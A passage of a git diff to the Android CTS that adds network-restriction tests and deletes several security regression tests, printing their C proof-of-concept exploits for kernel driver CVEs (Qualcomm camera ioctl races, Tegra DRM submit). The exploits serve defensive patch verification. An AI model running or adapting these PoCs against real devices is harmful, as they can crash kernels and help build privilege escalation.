+ assertBackgroundNetworkAccess(false);
+ } finally {
+ setAppIdle(false);
+ setBatterySaverMode(false);
+ }
+ }
}
diff --git a/hostsidetests/net/src/com/android/cts/net/HostsideRestrictBackgroundNetworkTests.java b/hostsidetests/net/src/com/android/cts/net/HostsideRestrictBackgroundNetworkTests.java
index bf3fc08..fe9d36c 100644
--- a/hostsidetests/net/src/com/android/cts/net/HostsideRestrictBackgroundNetworkTests.java
+++ b/hostsidetests/net/src/com/android/cts/net/HostsideRestrictBackgroundNetworkTests.java
@@ -146,6 +146,11 @@
"testBackgroundNetworkAccess_whitelisted");
}
+ public void testAppIdleMetered_tempWhitelisted() throws Exception {
+ runDeviceTests(TEST_PKG, TEST_PKG + ".AppIdleMeteredTest",
+ "testBackgroundNetworkAccess_tempWhitelisted");
+ }
+
public void testAppIdleMetered_enabled() throws Exception {
runDeviceTests(TEST_PKG, TEST_PKG + ".AppIdleMeteredTest",
"testBackgroundNetworkAccess_enabled");
@@ -166,6 +171,11 @@
"testBackgroundNetworkAccess_whitelisted");
}
+ public void testAppIdleNonMetered_tempWhitelisted() throws Exception {
+ runDeviceTests(TEST_PKG, TEST_PKG + ".AppIdleNonMeteredTest",
+ "testBackgroundNetworkAccess_tempWhitelisted");
+ }
+
public void testAppIdleNonMetered_enabled() throws Exception {
runDeviceTests(TEST_PKG, TEST_PKG + ".AppIdleNonMeteredTest",
"testBackgroundNetworkAccess_enabled");
@@ -261,6 +271,16 @@
"testDozeAndAppIdle_powerSaveWhitelists");
}
+ public void testAppIdleAndDoze_tempPowerSaveWhitelists() throws Exception {
+ runDeviceTests(TEST_PKG, TEST_PKG + ".MixedModesTest",
+ "testAppIdleAndDoze_tempPowerSaveWhitelists");
+ }
+
+ public void testAppIdleAndBatterySaver_tempPowerSaveWhitelists() throws Exception {
+ runDeviceTests(TEST_PKG, TEST_PKG + ".MixedModesTest",
+ "testAppIdleAndBatterySaver_tempPowerSaveWhitelists");
+ }
+
/*******************
* Helper methods. *
*******************/
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/src/android/os/lib/consumer1/UseSharedLibraryTest.java b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/src/android/os/lib/consumer1/UseSharedLibraryTest.java
index dca3699..dbadeb9 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/src/android/os/lib/consumer1/UseSharedLibraryTest.java
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/src/android/os/lib/consumer1/UseSharedLibraryTest.java
@@ -187,7 +187,7 @@
// Make sure we see the lib we depend on via getting installed packages
List<PackageInfo> installedPackages = InstrumentationRegistry.getInstrumentation()
.getContext().getPackageManager().getInstalledPackages(0);
- int usedLibraryVersionCode = -1;
+ long usedLibraryVersionCode = -1;
for (PackageInfo installedPackage : installedPackages) {
if (STATIC_LIB_PROVIDER_PKG.equals(installedPackage.packageName)) {
if (usedLibraryVersionCode != -1) {
diff --git a/hostsidetests/sample/src/android/sample/cts/SampleHostJUnit4DeviceTest.java b/hostsidetests/sample/src/android/sample/cts/SampleHostJUnit4DeviceTest.java
index f32c523..0fbf3b9 100644
--- a/hostsidetests/sample/src/android/sample/cts/SampleHostJUnit4DeviceTest.java
+++ b/hostsidetests/sample/src/android/sample/cts/SampleHostJUnit4DeviceTest.java
@@ -16,14 +16,14 @@
package android.sample.cts;
-import com.android.compatibility.common.tradefed.testtype.CompatibilityHostTestBase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
import org.junit.After;
import org.junit.Assert;
import org.junit.Before;
-import org.junit.runner.RunWith;
import org.junit.Test;
+import org.junit.runner.RunWith;
/**
* Test that collects test results from test package android.sample.cts.app2.
@@ -33,7 +33,7 @@
* collected from the hostside and reported accordingly.
*/
@RunWith(DeviceJUnit4ClassRunner.class)
-public class SampleHostJUnit4DeviceTest extends CompatibilityHostTestBase {
+public class SampleHostJUnit4DeviceTest extends BaseHostJUnit4Test {
private static final String TEST_PKG = "android.sample.cts.app2";
private static final String TEST_CLASS = TEST_PKG + "." + "SampleDeviceTest";
@@ -65,7 +65,7 @@
@After
public void tearDown() throws Exception {
- uninstallPackage(TEST_PKG);
+ uninstallPackage(getDevice(), TEST_PKG);
}
}
diff --git a/hostsidetests/security/AndroidTest.xml b/hostsidetests/security/AndroidTest.xml
index d4cf524..052e976 100644
--- a/hostsidetests/security/AndroidTest.xml
+++ b/hostsidetests/security/AndroidTest.xml
@@ -17,15 +17,8 @@
<option name="config-descriptor:metadata" key="component" value="security" />
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
<option name="cleanup" value="true" />
- <option name="push" value="CVE-2016-8412->/data/local/tmp/CVE-2016-8412" />
- <option name="push" value="CVE-2016-8444->/data/local/tmp/CVE-2016-8444" />
- <option name="push" value="CVE-2016-8448->/data/local/tmp/CVE-2016-8448" />
- <option name="push" value="CVE-2016-8449->/data/local/tmp/CVE-2016-8449" />
<option name="push" value="CVE-2016-8460->/data/local/tmp/CVE-2016-8460" />
- <option name="push" value="CVE-2017-0403->/data/local/tmp/CVE-2017-0403" />
- <option name="push" value="CVE-2017-0404->/data/local/tmp/CVE-2017-0404" />
<option name="push" value="CVE-2016-8482->/data/local/tmp/CVE-2016-8482" />
- <option name="push" value="CVE-2017-0429->/data/local/tmp/CVE-2017-0429" />
<option name="push" value="CVE-2016-6730->/data/local/tmp/CVE-2016-6730" />
<option name="push" value="CVE-2016-6731->/data/local/tmp/CVE-2016-6731" />
<option name="push" value="CVE-2016-6732->/data/local/tmp/CVE-2016-6732" />
@@ -43,8 +36,6 @@
<option name="push" value="CVE-2016-8431->/data/local/tmp/CVE-2016-8431" />
<option name="push" value="CVE-2016-8432->/data/local/tmp/CVE-2016-8432" />
<option name="push" value="CVE-2016-8434->/data/local/tmp/CVE-2016-8434" />
- <option name="push" value="CVE-2016-8435->/data/local/tmp/CVE-2016-8435" />
- <option name="push" value="CVE-2016-9120->/data/local/tmp/CVE-2016-9120" />
<option name="push" value="Bug-34328139->/data/local/tmp/Bug-34328139" />
<option name="push" value="Bug-33452365->/data/local/tmp/Bug-33452365" />
<option name="push" value="CVE-2017-0451->/data/local/tmp/CVE-2017-0451" />
@@ -59,14 +50,11 @@
<option name="push" value="CVE-2017-0586->/data/local/tmp/CVE-2017-0586" />
<option name="push" value="CVE-2017-0705->/data/local/tmp/CVE-2017-0705" />
<option name="push" value="CVE-2017-8263->/data/local/tmp/CVE-2017-8263" />
+
<!--__________________-->
<!-- Bulletin 2017-01 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2016-8457->/data/local/tmp/CVE-2016-8457" />
- <option name="push" value="CVE-2016-8456->/data/local/tmp/CVE-2016-8456" />
- <option name="push" value="CVE-2016-8455->/data/local/tmp/CVE-2016-8455" />
-
<!--__________________-->
<!-- Bulletin 2017-02 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
diff --git a/hostsidetests/security/securityPatch/Bug-36492827/Android.mk b/hostsidetests/security/securityPatch/Bug-36492827/Android.mk
index d2a91be..44182bf 100644
--- a/hostsidetests/security/securityPatch/Bug-36492827/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-36492827/Android.mk
@@ -26,10 +26,9 @@
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS += -Wall -Werror
+LOCAL_CFLAGS += -Wno-missing-prototypes -Wno-shadow
+LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable
LOCAL_LDFLAGS += -fPIE -pie
LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-36730104/Android.mk b/hostsidetests/security/securityPatch/Bug-36730104/Android.mk
index 4c27a41..6d7fb55 100644
--- a/hostsidetests/security/securityPatch/Bug-36730104/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-36730104/Android.mk
@@ -26,10 +26,10 @@
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS += -Wall -Werror
+LOCAL_CFLAGS += -Wno-missing-prototypes -Wno-shadow
+LOCAL_CFLAGS += -Wno-pointer-arith -Wno-incompatible-pointer-types
+LOCAL_CFLAGS += -Wno-unused-variable -Wno-unused-parameter
LOCAL_LDFLAGS += -fPIE -pie
LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-36817053/Android.mk b/hostsidetests/security/securityPatch/Bug-36817053/Android.mk
index 2d3d8eb..7e10720 100644
--- a/hostsidetests/security/securityPatch/Bug-36817053/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-36817053/Android.mk
@@ -26,10 +26,9 @@
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS += -Wall -Werror
+LOCAL_CFLAGS += -Wno-pointer-arith -Wno-incompatible-pointer-types
+LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable
LOCAL_LDFLAGS += -fPIE -pie
LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-36818198/Android.mk b/hostsidetests/security/securityPatch/Bug-36818198/Android.mk
index b34f64e..875c8c8 100644
--- a/hostsidetests/security/securityPatch/Bug-36818198/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-36818198/Android.mk
@@ -26,10 +26,10 @@
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS += -Wall -Werror
+LOCAL_CFLAGS += -Wno-missing-prototypes
+LOCAL_CFLAGS += -Wno-pointer-arith -Wno-incompatible-pointer-types
+LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable
LOCAL_LDFLAGS += -fPIE -pie
LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-37093119/Android.mk b/hostsidetests/security/securityPatch/Bug-37093119/Android.mk
index 00f77fd..c621936 100644
--- a/hostsidetests/security/securityPatch/Bug-37093119/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-37093119/Android.mk
@@ -26,10 +26,8 @@
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS += -Wall -Werror
+LOCAL_CFLAGS += -Wno-unused-parameter
LOCAL_LDFLAGS += -fPIE -pie
LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-62058746/Android.mk b/hostsidetests/security/securityPatch/Bug-62058746/Android.mk
index 1a36be9..c7c958d 100644
--- a/hostsidetests/security/securityPatch/Bug-62058746/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-62058746/Android.mk
@@ -26,10 +26,8 @@
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS += -Wall -Werror
+LOCAL_CFLAGS += -Wno-missing-prototypes
LOCAL_LDFLAGS += -fPIE -pie
LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8412/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8412/Android.mk
deleted file mode 100644
index e2a1c73..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8412/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8412
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wall -Werror
-LOCAL_CFLAGS += -Wno-unused-variable
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8412/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8412/poc.c
deleted file mode 100644
index d438b40..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8412/poc.c
+++ /dev/null
@@ -1,69 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#include <unistd.h>
-#include <sys/syscall.h>
-#include <string.h>
-#include <stdint.h>
-#include <pthread.h>
-#include <stdio.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <signal.h>
-
-#define VIDIOC_MSM_ACTUATOR_CFG 0xc0d056c6
-#define MSM_SD_SHUTDOWN 0xc00856dd
-
-int fd;
-
-
-int main() {
- long i;
- int pid;
- pthread_t th[6];
- int argn[50] = {0};
-
- fd = open("/dev/v4l-subdev7", 0x0ul );
-
-
- argn[0] = 7;
- syscall(__NR_ioctl, fd, VIDIOC_MSM_ACTUATOR_CFG, argn, 0, 0, 0);
-
- pid = fork();
- if(!pid){
- argn[0] = 1;
- while(1){
- usleep(10);
- syscall(__NR_ioctl, fd, VIDIOC_MSM_ACTUATOR_CFG, argn, 0, 0, 0);
- }
- }
- i = 0;
- while(1){
- i++;
- argn[0] = 7;
- syscall(__NR_ioctl, fd, VIDIOC_MSM_ACTUATOR_CFG, argn, 0, 0, 0);
-
- usleep(100);
-
- argn[0] = 0;
- syscall(__NR_ioctl, fd, MSM_SD_SHUTDOWN, argn, 0, 0, 0);
-
- }
-
- close(fd);
-
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8435/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8435/Android.mk
deleted file mode 100644
index 46920cf..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8435/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8435
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wall -Werror
-LOCAL_CFLAGS += -Wno-missing-braces -Wno-missing-field-initializers
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8435/local_pwn.h b/hostsidetests/security/securityPatch/CVE-2016-8435/local_pwn.h
deleted file mode 100644
index 70574fe..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8435/local_pwn.h
+++ /dev/null
@@ -1,116 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#ifndef __local_pwn_H__
-#define __local_pwn_H__
-
-#define SIOCIWFIRSTPRIV 0x8BE0
-#define SIOCGIWNAME 0x8B01
-#define IOCTL_SET_STRUCT_FOR_EM (SIOCIWFIRSTPRIV + 11)
-#define PRIV_CUSTOM_BWCS_CMD 13
-#define PRIV_CMD_OID 15
-#define PRIV_CMD_SW_CTRL 20
-#define PRIV_CMD_WSC_PROBE_REQ 22
-
-enum host1x_class {
- HOST1X_CLASS_HOST1X = 0x1,
- HOST1X_CLASS_NVENC = 0x21,
- HOST1X_CLASS_VI = 0x30,
- HOST1X_CLASS_ISPA = 0x32,
- HOST1X_CLASS_ISPB = 0x34,
- HOST1X_CLASS_GR2D = 0x51,
- HOST1X_CLASS_GR2D_SB = 0x52,
- HOST1X_CLASS_VIC = 0x5D,
- HOST1X_CLASS_GR3D = 0x60,
- HOST1X_CLASS_NVJPG = 0xC0,
- HOST1X_CLASS_NVDEC = 0xF0,
-};
-
-#define DRM_COMMAND_BASE 0x40
-#define DRM_COMMAND_END 0xA0
-
-#define DRM_TEGRA_OPEN_CHANNEL 0x05
-#define DRM_TEGRA_CLOSE_CHANNEL 0x06
-#define DRM_TEGRA_SUBMIT 0x08
-
-struct drm_tegra_open_channel {
- __u32 client;
- __u32 pad;
- __u64 context;
-};
-
-struct drm_tegra_close_channel {
- __u64 context;
-};
-
-struct drm_tegra_submit {
- __u64 context;
- __u32 num_syncpts;
- __u32 num_cmdbufs;
- __u32 num_relocs;
- __u32 num_waitchks;
- __u32 waitchk_mask;
- __u32 timeout;
- __u64 syncpts;
- __u64 cmdbufs;
- __u64 relocs;
- __u64 waitchks;
- __u32 fence; /* Return value */
- __u32 reserved0;
- __u64 fences;
- __u32 reserved1[2]; /* future expansion */
-};
-
-#define DRM_IOCTL_BASE 'd'
-#define DRM_IOWR(nr,type) _IOWR(DRM_IOCTL_BASE,nr,type)
-#define DRM_IOCTL_TEGRA_OPEN_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_OPEN_CHANNEL, struct drm_tegra_open_channel)
-#define DRM_IOCTL_TEGRA_CLOSE_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_CLOSE_CHANNEL, struct drm_tegra_open_channel)
-#define DRM_IOCTL_TEGRA_SUBMIT DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_SUBMIT, struct drm_tegra_submit)
-
-struct drm_tegra_syncpt {
- __u32 id;
- __u32 incrs;
-};
-
-struct list_head {
- struct list_head *next, *prev;
-};
-
-struct tegra_drm_client_ops {
- void* open_channel;
- void* close_channel;
- void* reset;
- void* is_add_reg;
- void* submit;
-};
-
-struct tegra_drm_client {
- /* sizeof(host1x_client) is 232 */
- unsigned char pad[232]; /* maybe gadget arguments */
- struct list_head list;
- struct tegra_drm_client_ops *ops;
-};
-
-struct tegra_drm_context {
- struct tegra_drm_client *client;
- void *channel;
- struct list_head list;
- /* FIXME we need pass lock op */
- //struct mutex lock;
- //bool keepon;
- //struct host1x_user user;
-};
-
-#endif
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8435/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8435/poc.c
deleted file mode 100644
index ff6acb0..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8435/poc.c
+++ /dev/null
@@ -1,74 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <string.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <sys/ioctl.h>
-#include <errno.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <sys/types.h>
-#include <unistd.h>
-#include <sys/syscall.h>
-
-#include "local_pwn.h"
-
-#define DEV "/dev/dri/renderD129"
-#define SYN_NUM 64
-
-struct drm_tegra_open_channel open_c = { 0 };
-struct drm_tegra_submit submit_c = { 0 };
-struct drm_tegra_syncpt syncpts[SYN_NUM] = { 0 };
-
-int main()
-{
- int ret;
- int dev_fd;
- int i;
-
- /* open dev */
- dev_fd = open(DEV,O_RDONLY);
- if(dev_fd == -1){
- printf("[-] open dev failed %d %s\n", errno, strerror(errno));
- return 0;
- }
-
- /* prepare for ioctl */
- open_c.client = HOST1X_CLASS_VIC;
- submit_c.num_syncpts = SYN_NUM;
- submit_c.syncpts = (__u64)syncpts;
-
- for(i = 1; i < SYN_NUM; i++){
- syncpts[i].id = 192;
- syncpts[i].incrs = 0xffff;
- }
-
- /* open channel */
- ret = ioctl(dev_fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c);
- if(ret == -1){
- printf("[-] open_channel failed %d %s\n", errno, strerror(errno));
- goto out_dev;
- }
- submit_c.context = open_c.context;
- printf("[+] call submit\n");
- ret = ioctl(dev_fd, DRM_IOCTL_TEGRA_SUBMIT, &submit_c);
- printf("[+] submit return %d\n", ret);
-
-out_dev:
- close(dev_fd);
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8444/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8444/Android.mk
deleted file mode 100644
index 531a3d1..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8444/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8444
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wall -Werror
-LOCAL_CFLAGS += -Wno-unused-variable
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8444/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8444/poc.c
deleted file mode 100644
index d681a43..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8444/poc.c
+++ /dev/null
@@ -1,78 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <unistd.h>
-#include <fcntl.h>
-#include <sys/syscall.h>
-#include <stdio.h>
-#include <string.h>
-#include <stdint.h>
-#include <pthread.h>
-
-#define MSM_SD_SHUTDOWN 0xc00856dd
-#define VIDIOC_MSM_ISPIF_CFG 0xc17056c0
-
-struct ispif_cfg_data {
- int32_t cfg_type;
- union {
- int reg_dump; /* ISPIF_ENABLE_REG_DUMP */
- uint32_t csid_version; /* ISPIF_INIT */
- //struct msm_ispif_vfe_info vfe_info; /* ISPIF_SET_VFE_INFO */
- //struct msm_ispif_param_data params; /* CFG, START, STOP */
- };
-};
-
-long r[11];
-
-int fd;
-struct ispif_cfg_data data;
-
-void *worker_thread(void *arg) {
-
- int arg1[3] = {0};
- switch ((long)arg) {
- case 0:
- data.cfg_type = 8; ////release
- ioctl(fd, VIDIOC_MSM_ISPIF_CFG, &data);
- break;
- case 1:
- ioctl(fd, MSM_SD_SHUTDOWN, &arg1);
- break;
- }
- return NULL;
-}
-
-int main() {
-
- int pid,i;
- pthread_t th[4];
- fd = open( "/dev/v4l-subdev17", 0x0ul );
-
- printf("please wait for several seconds...\n");
-
- while(1){
-
- data.cfg_type = 2; ////init
- data.csid_version = 1;
- ioctl(fd, VIDIOC_MSM_ISPIF_CFG, &data);
-
- for (i = 0; i < 2; i++) {
- pthread_create(&th[i], 0, worker_thread, (void *)(long)i);
- usleep(10);
- }
- }
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8448/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8448/Android.mk
deleted file mode 100644
index 01ffa37..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8448/Android.mk
+++ /dev/null
@@ -1,31 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8448
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
